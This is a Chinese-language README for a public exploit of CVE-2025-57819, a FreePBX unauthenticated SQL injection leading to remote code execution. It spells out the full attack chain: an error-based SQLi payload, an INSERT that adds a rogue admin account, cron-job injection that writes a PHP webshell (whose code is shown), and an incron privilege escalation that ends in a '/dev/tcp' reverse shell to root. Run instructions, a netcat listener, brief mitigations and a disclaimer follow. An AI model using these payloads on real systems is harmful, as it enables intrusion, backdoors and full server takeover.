FreePBX CVE-2025-57819 - 未授权 SQLi 到 RCE PoC

仅供教育与安全研究使用 - 请参阅下方法律声明

针对 CVE-2025-57819 的漏洞利用概念验证，这是 FreePBX 中一个严重的未授权 SQL 注入漏洞，可导致远程代码执行。本 PoC 在官方补丁发布之后发布，仅供安全研究和授权测试使用。

概述

FreePBX 15.x、16.x 和 17.x 版本（低于已修补版本）在 endpoint 模块的 AJAX 处理器中存在未授权 SQL 注入漏洞。该漏洞利用链允许：

1. 创建管理员账户（通过 SQL 注入）
2. 部署 webshell（通过已认证的 cron 任务注入）
3. 提权至 root（若 incron 可用，通过 sysadmin_manager 钩子链）
4. 完全控制系统并获得反向 shell 访问权限

---

漏洞详情

CVE ID	CVE-2025-57819
类型	未授权 SQL 注入（基于错误）
CVSS	9.8 / 10.0（严重）
受影响版本	FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
已修补版本	15.0.66, 16.0.89, 17.0.3+
CISA KEV	是（2025 年 8 月 29 日）

存在漏洞的端点

GET /admin/ajax.php?brand=<PAYLOAD>

端点模块的 AJAX 处理器中的 brand 参数接受用户输入而未进行验证，导致基于错误的 SQL 注入。

---

利用链

阶段 1：SQL 注入与管理员账户创建

使用 EXTRACTVALUE() 基于错误的提取方式验证 SQLi，以泄露数据库名称：

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

将新的管理员用户插入到 asterisk.ampusers 中：

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

阶段 2：已认证的 Cron 任务注入

利用有效的管理员凭据，该漏洞利用程序会向 FreePBX 进行身份验证并建立一个已认证会话。会话 Cookie 会被保存，并用于后续所有已认证请求。

将 webshell 命令注入到 asterisk.cron_jobs：

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

FreePBX cron runner 以 asterisk 用户身份执行该命令，从而植入 PHP webshell。

阶段 3：Webshell 激活

PHP webshell 被部署到 /var/www/html/shell.php：

<?php system($_GET['cmd']); ?>

Exploit 轮询 webshell 直至激活，以 asterisk 用户（uid=999）实现 RCE。

阶段 4：权限提升（有条件）

如果目标上配置了 incron：

1. 在 /var/spool/asterisk/incron/ 中创建触发文件
2. incrond（以 root 运行）检测到文件创建
3. 使用触发文件名调用 /usr/bin/sysadmin_manager
4. sysadmin_manager 验证 GPG 签名并分发到 fwconsole-commands 钩子
5. 钩子解码载荷并执行：/usr/sbin/fwconsole <COMMAND>
6. 命令注入：help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

结果：在反向监听器上获得 root shell（如果 incron 可用）。

---

滥用的内容

• brand 参数没有输入验证
• 堆叠查询执行允许操纵数据库
• 可写的 asterisk.cron_jobs 表以 asterisk 身份执行命令
• 通过创建的 admin 账户的 cookie 实现已认证会话持久化
• Incron 文件系统监控以 root 运行
• 未经验证的 fwconsole 钩子执行，存在命令注入

---

安装

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

用法

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

---

受影响版本

版本	状态
15.0.0 - 15.0.65	存在漏洞
15.0.66+	已修复
16.0.0 - 16.0.88	存在漏洞
16.0.89+	已修复
17.0.0 - 17.0.2	存在漏洞
17.0.3+	已修复

---

缓解措施

立即措施：

• 限制来自不受信任网络的 /admin/ajax.php 访问
• 如不需要，禁用 incron：systemctl disable incrond

永久措施： 升级至已修复版本：15.0.66+、16.0.89+ 或 17.0.3+

---

参考资料

• CVE-2025-57819
• CISA KEV 目录
• FreePBX 安全公告

---

法律声明

⚠️ 免责声明

本概念验证仅供授权的安全测试和教育目的使用。作者对因滥用本工具或由此造成的损害不承担任何责任。

您必须遵守：

• 《计算机欺诈与滥用法》（CFAA）及您所在司法管辖区的同等法律
• 仅测试您拥有或已获得明确书面授权测试的系统
• 在任何安全测试之前获得书面许可
• 负责任的漏洞披露实践
• 隐私和数据保护法规（GDPR、CCPA 等）

禁止用途：

• 未经授权访问计算机系统
• 未经书面同意的渗透测试
• 中断服务或窃取数据
• 任何恶意或非法活动

责任豁免： 作者不对以下情况负责：

• 未经授权的访问或刑事指控
• 系统损坏或数据丢失
• 滥用的法律后果
• 违反计算机欺诈法律

本漏洞：

• 已公开披露（CVE-2025-57819）
• 补丁已公开可用
• 仅为安全研究而发布
• 在补丁发布后负责任地共享

---

作者

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

许可证

MIT 许可证